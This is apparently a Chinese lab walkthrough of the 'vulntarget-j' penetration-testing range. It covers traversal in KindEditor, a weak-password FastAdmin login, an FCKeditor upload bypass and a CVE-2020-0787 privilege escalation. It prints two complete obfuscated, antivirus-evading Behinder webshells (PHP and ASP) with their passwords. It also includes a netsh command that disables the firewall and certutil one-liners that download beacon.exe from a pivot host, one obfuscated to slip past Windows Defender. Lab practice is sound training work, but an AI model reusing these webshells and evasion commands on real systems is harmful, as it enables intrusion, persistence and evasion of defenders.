vulntarget-j打靶记录:
拓朴图如下:
1.第一层:
1.1信息收集:
使用一系列扫描工具都可以进行初步的发现工作,nmap,tscanplus等,我用后者:
扫出如下端口开放:
有一些指纹信息但我才疏学浅,还需要进一步进行测试!
指纹识别一手:
打开如下几个端口开放站点:
查询状态码是200,301的路径:有如下有信息回显:
发现了:Kindeditor
直接访问默认http:*//192.168.189.138:7001/kindeditor.js*
得知其kindeditor版本:version 3.5.5
存在目录遍历漏洞:KindEditor 3.4.2&3.5.5列目录漏洞
1 2 3 4
| /php/file_manager_json.php?path=../
`.././../`等价于`../../`用于绕过`../../`被ban /php/file_manager_json.php?path=.././../
|
一层层向上层遍历,读取路径信息:
成功获取关键fastadmin后台管理关键路径:http://192.168.189.138/FNeSOgYGkp.php
尝试弱口令登录:admin/admin123
http://192.168.189.138:5985/
1.2fastadmin后台getshell
这一部分打靶场过程中,有些问题我直接在后台加了一个一句话的webshell。
这里可以看原文wp:https://mp.weixin.qq.com/s/6_j38gpvTfCVDTcCYizCYA
这里使用蚁剑连接上后台后,有些命令执行不了:
如图:
上冰蝎免杀马:成功执行如下图:
估计是被杀软检测到了蚁剑命令执行的流量,被其阻止,于是这里尝试传一手冰蝎马
,这里我传入的是经过变形的冰蝎免杀马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php @error_reporting(0); session_start(); $xlpassHeciStxX= base64_decode(base64_decode("TVRoaE0yTmxObU15WVdOak1EbG1PQT09")); $_SESSION['k']=$xlpassHeciStxX; session_write_close(); $xlpassMaFzRIgD=base64_decode(base64_decode("YjJKMWFHRnZjbkJtTlhWM05EUmtkbTl4")); $xlpasshFlVqPXA='openssl'; $xlpassDzMftnwU=xlpassGDImFiWx($xlpassMaFzRIgD); $xlpassDlNfXLyE="file_g".chr(101)."t_"."con".base64_decode("dGVudHM="); $xlpassUxHfrMtm=$xlpassDlNfXLyE($xlpassDzMftnwU); if(!extension_loaded($xlpasshFlVqPXA)) { $xlpasslXjmfyLh="base64_"."decode"; $xlpassUxHfrMtm=$xlpasslXjmfyLh("/*X]-DP@i*/".$xlpassUxHfrMtm); for($i=0;$i<strlen($xlpassUxHfrMtm);$i++) { } } $xlpassUxHfrMtm=openssl_decrypt($xlpassUxHfrMtm, base64_decode(base64_decode("UVVWVE1UST0=")).chr(56), $xlpassHeciStxX); $xlpassPwEkBMIT=explode('|',$xlpassUxHfrMtm); $xlpassHwKfunPk=$xlpassPwEkBMIT[1]; class xlpassQjCZZIMP{public function __invoke($p) {eval("/*X]-DP@i*/".$p."");}} $t = base64_decode("PSQ6PGwhX18+ZighJkA=")^base64_decode("XkVWUDNULDpMOU5USCM="); @${'t'}(new xlpassQjCZZIMP(),$xlpassHwKfunPk); function xlpassGDImFiWx($xlpasstoFWKZzi){ $di15 = ''; $xlpasshyyFKCjD = (8025+32040)*intval(chr(48)); $xlpassgZLyImuO = (652-19364)*intval(chr(48)); for ($i = 0, $j = strlen($xlpasstoFWKZzi); $i < $j; $i++){ $xlpasshyyFKCjD <<= 5; if ($xlpasstoFWKZzi[$i] >= 'a' && $xlpasstoFWKZzi[$i] <= 'z'){ $xlpasshyyFKCjD += (ord($xlpasstoFWKZzi[$i]) - 97); } elseif ($xlpasstoFWKZzi[$i] >= '2' && $xlpasstoFWKZzi[$i] <= '7') { $xlpasshyyFKCjD += (24 + $xlpasstoFWKZzi[$i]); } else { exit(1); } $xlpassgZLyImuO += 5; while ($xlpassgZLyImuO >= 8){ $xlpassgZLyImuO -= 8; $di15 .= chr($xlpasshyyFKCjD >> $xlpassgZLyImuO); $xlpasshyyFKCjD &= ((1 << $xlpassgZLyImuO) - 1);}} return $di15;} ?>
|
连接密码是:icon123
,成功连接如下:
1.3 杀入内网
1.3.1内网信息收集
ipconfig /all
查询相关网卡信息可以发现有两个网段
whoami
:是system权限不需要进行提权操作
netstat -ano
:查询端口开放程度,打算开启关键端口,为后续扩大战果做准备,如开启远联3389
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| 开放如下: C:\phpstudy_pro\WWW\fastadmin\public> netstat -ano 活动连接 协议 本地地址 外部地址 状态 PID TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 1356 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 648 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1376 TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1708 TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:7001 0.0.0.0:0 LISTENING 1356 TCP 0.0.0.0:18716 0.0.0.0:0 LISTENING 6768 TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 452 TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 760 TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 808 TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING 1172 TCP 0.0.0.0:49158 0.0.0.0:0 LISTENING 552 TCP 0.0.0.0:49159 0.0.0.0:0 LISTENING 564 TCP 10.0.0.10:139 0.0.0.0:0 LISTENING 4 TCP 127.0.0.1:54360 0.0.0.0:0 LISTENING 6768 TCP 192.168.189.138:80 192.168.189.1:43681 ESTABLISHED 1356 TCP 192.168.189.138:139 0.0.0.0:0 LISTENING 4 TCP 192.168.189.138:50732 101.199.128.208:80 ESTABLISHED 6768 TCP 192.168.189.138:50744 223.167.166.51:80 ESTABLISHED 6768 TCP [::]:80 [::]:0 LISTENING 1356 TCP [::]:135 [::]:0 LISTENING 648 TCP [::]:445 [::]:0 LISTENING 4 TCP [::]:3306 [::]:0 LISTENING 1376 TCP [::]:3389 [::]:0 LISTENING 1708 TCP [::]:5985 [::]:0 LISTENING 4 TCP [::]:7001 [::]:0 LISTENING 1356 TCP [::]:47001 [::]:0 LISTENING 4 TCP [::]:49152 [::]:0 LISTENING 452 TCP [::]:49153 [::]:0 LISTENING 760 TCP [::]:49154 [::]:0 LISTENING 808 TCP [::]:49155 [::]:0 LISTENING 1172 TCP [::]:49158 [::]:0 LISTENING 552 TCP [::]:49159 [::]:0 LISTENING 564 UDP 0.0.0.0:500 *:* 808 UDP 0.0.0.0:3389 *:* 1708 UDP 0.0.0.0:3600 *:* 6768 UDP 0.0.0.0:3602 *:* 6768 UDP 0.0.0.0:4500 *:* 808 UDP 0.0.0.0:5355 *:* 948 UDP 0.0.0.0:18716 *:* 6768 UDP 0.0.0.0:53127 *:* 6768 UDP 0.0.0.0:54145 *:* 6768 UDP 0.0.0.0:57053 *:* 6768 UDP 0.0.0.0:61954 *:* 6768 UDP 0.0.0.0:63826 *:* 6768 UDP 10.0.0.10:137 *:* 4 UDP 10.0.0.10:138 *:* 4 UDP 192.168.189.138:137 *:* 4 UDP 192.168.189.138:138 *:* 4 UDP [::]:500 *:* 808 UDP [::]:3389 *:* 1708 UDP [::]:4500 *:* 808 UDP [::]:5355 *:* 948 UDP [fe80::45d5:bdde:699e:c4e6%13]:546 *:* 760 UDP [fe80::bc66:a9c6:22a2:6bb0%12]:546 *:* 760
|
发现是开启的3389端口,接下来决定上马拿一个持续性shell,并尝试搜索各种凭据信息。
白加黑:https://mp.weixin.qq.com/s/0q7tJ07tosNOX62omsPhqg
进入后直接,frp搭一个稳定的反向socks代理,方便后续进行一下横向操作。
关闭防火墙
:
1
| netsh advfirewall set allprofiles state off
|
查一些mac表:arp -a
发现了有记录:
直接扫描这个内网ip的相关端口开放情况:
- 坑点
- 其实坑点都算不上这里,说白了还是自己信息搜集的不够仔细,一开始进行端口扫描的时候,只探测了比较top的前1000,没有再过多深究,导致自己对着打了半天也没什么头绪,卡住了后面看了官方的wp才知道,还是自己信息收集没做到位!!!
遗漏了18000,后续他也是依靠这里直接getshell的!
再度反思自己信息收集,信息收集
后续打靶要反复拷打自己。。。。
目录扫描发现了一些关键的路径:
通过/license.txt
泄露了他是一个文本编辑器FCKeditor
上网上查询其有无相关的漏洞可以打:
查到几个关键路径:
- 查看Fckeditor版本:
/editor/dialog/fck_about.html
- 文件上传可以利用的路径:
1 2 3
| http://10.0.0.222:18000/editor/filemanager/connectors/test.html http://10.0.0.222:18000/editor/filemanager/connectors/uploadtest.html http://10.0.0.222:18000/editor/filemanager/browser/default/browser.html
|
访问:http://10.0.0.222:18000/editor/filemanager/connectors/test.html
其可以直接传文件:挂上代理上burp传马。
寻常🐎都会被gg,需要上传免杀的webshell
直接传马:
发现没有回显路径,并没有成功上传成功这个webshell!
我尝试修改后缀看是不是有黑名单,一看还真是,其他后缀的貌似都是可以正常文件上传的,那么就需要我进行一下,简单的绕过咯!
这里利用Fckeditor的特性(
)和00截断
:
- 他上传相同的文件不会覆盖而是在后面加(1),
- 00截断绕过:
第一次上传之后是xlaq.asp_txt
第二次上传时xlaq(1).asp
并且返回了上传路径直接冰蝎连接即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <% ReSpoNsE.CharSet = "U"&"T"&"F"&"-"&Chr("56") xlpassGJFMRCtT=Chr("98")&Chr("57")&"f9"&"208"&Chr("100")&Chr("57")&"05f"&Chr("57")&Chr("98")&Chr("54")&"a" sEssION("xlpasseoCTdmis")="xlpassciBMNYuC" %><%'xlpassFpmTypgS%><% SeSsioN("k")=xlpassGJFMRCtT SeSsIon("xl")="https://"&"www."&"test."&"kk2024."&"cn" xlpassERiIixvE=ReQuest.TotalBytes %><%'xlpassSAtVSnMK%><% xlpassXRRYDCoO=REqUesT.BinaryRead(xlpassERiIixvE) %><% SesSiOn.ConTentS.REmoVe("xl") %><% FoR xlpassaIbvNLTN=Chr("49") To xlpassERiIixvE xlpassVKROgtnZ=ascb(midb(xlpassXRRYDCoO,xlpassaIbvNLTN,Chr("49"))) xlpassWUqIbRZA = Asc(Mid(xlpassGJFMRCtT,(xlpassaIbvNLTN and 15)+Chr("49"),Chr("49"))) xlpassZqfJQzhz=xlpassZqfJQzhz&Chr(xlpassVKROgtnZ Xor xlpassWUqIbRZA) Next %><%'xlpassnZcZQlxA%><%ExecUte(xlpassZqfJQzhz) %>
|
密码:xlaq0902
查询杀软进程:有wdf
2.第二层
成功拿到第二层的webshell后,发现冰蝎无法正常上传文件。这时候我用了一个局域网小型共享的软件,直接在第一层拿下的内网主机上上传第三层的转发木马,以及相关横向工具,直接在第一台主机开启一个服务:
这时候我准备直接用windows自带的 certutil.exe进行下载,但是发现根本无法下载,直接就会被wdf拦截
:
1
| certutil.exe -urlcache -split -f http://10.0.0.10:8888/chfs/shared/beacon.exe exp.exe
|
我做出如下调整尝试绕过下载拦截:
1
| copy c:\windows\system32\certutil.exe C:\\Users\\Public\\Documents\\a.exe
|
我对其进行复制改名操作后,执行下载,但是还是被拦截了
根据一番资料查阅,查到了这里有一种绕过方式很CTF,很技巧学习到了:
1
| b.exe -url""""ca^c^he -spl""""it -f http://10.0.0.10:8888/chfs/shared/beacon.exe exp.exe
|
最后成功下载到目标机器上!!!
参考文章:探究certutil在杀软中的绕过实践:360,火绒,wdf
https://xz.aliyun.com/t/12503?time__1311=GqGxuCG%3DeYq052x%2BxCwE8pQitku7bD
后续会给这部分文章补上!
后续就是提权,没有什么过多的讲解更多的是应用exp.
2.1提权——CVE-2020-0787
漏洞概述
当Windows背景智能传输服务(BITS)没有正确处理符号链接时,存在特权提升漏洞。成功利用此漏洞的攻击者可以改写目标文件,从而提升权限。要利用这个漏洞,攻击者首先必须登录系统,攻击者可以运行EXP,利用该漏洞来提权进而完全控制受影响的系统。漏洞爆出后的安全更新通过纠正Windows BITS处理符号链接的方式修复了这个漏洞。
EXP进行利用的思路是,首先提供给目标服务一个文件夹路径,该路径最初将作为另一个“物理”目录的 junction (连接)点。我们创建了一个新的任务:“下载”一个本地文件,并且在TMP文件上设置 Oplock 。等任务恢复后,该服务会模拟 RPC 客户端身份开始写入 TMP 文件,触发 Oplock 。然后,我们需要将挂载点切换至对象目录(Object Directory),创建2个符号链接。此时TMP文件会指向我们拥有的任意文件,而“本地”文件将指向 System32 目录中的一个新的 dll 文件。在释放 Oplock 后,服务会继续写入原始的 TMP 文件,但会通过我们设置的2个符号链接执行最终的移动操作,这就是近几年来Windows漏洞中的一类 “任意文件移动” 漏洞,相对于内存破坏漏洞而言,这类漏洞不会导致目标主机蓝屏,在执行时有较高的稳定性和隐蔽性。
影响版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| Windows 10 Version 1809 for ARM64-based Systems
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows Server, version 1903 (Server Core installation)
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1709 for ARM64-based Systems
Windows 10 Version 1709 for x64-based Systems
Windows 10 Version 1709 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows Server, version 1803 (Server Core Installation)
Windows 10 Version 1803 for x64-based Systems
Windows 10 Version 1803 for 32-bit Systems
|
exp链接
:https://cloud.tencent.com/developer/tools/blog-entry?target=https%3A%2F%2Fgithub.com%2Fcbwang505%2FCVE-2020-0787-EXP-ALL-WINDOWS-VERSION&objectId=2211314&objectType=1